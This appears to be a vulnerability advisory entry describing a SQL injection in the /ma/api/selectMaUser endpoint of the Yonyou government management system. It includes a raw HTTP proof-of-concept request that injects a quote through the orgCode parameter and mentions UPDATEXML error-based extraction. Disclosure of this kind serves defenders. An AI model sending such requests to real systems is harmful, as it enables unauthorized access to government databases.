用友政务系统 /ma/api/selectMaUser SQL 注入漏洞

2026-04-24 用友政务系统 PoC Public

Description

用友政务系统是用友公司面向政府机构和事业单位开发的一体化政务管理平台，涵盖预算管理、财务管理、人力资源、资产管理等多个业务模块，广泛应用于各级政府部门和公共组织。该系统采用B/S架构，支持多级组织管理、工作流程自动化、数据统计分析等功能。用友政务系统的 /ma/api/selectMaUser 接口存在SQL注入漏洞，攻击者可通过orgCode参数构造恶意SQL语句，利用UPDATEXML函数触发数据库错误，获取数据库敏感信息。

PoC

POST /ma/api/selectMaUser HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 19
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip

{"orgCode":"0001'"}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Yonyou Government System /ma/api/selectMaUser SQL Injection Vulnerability

References

Related Vulnerabilities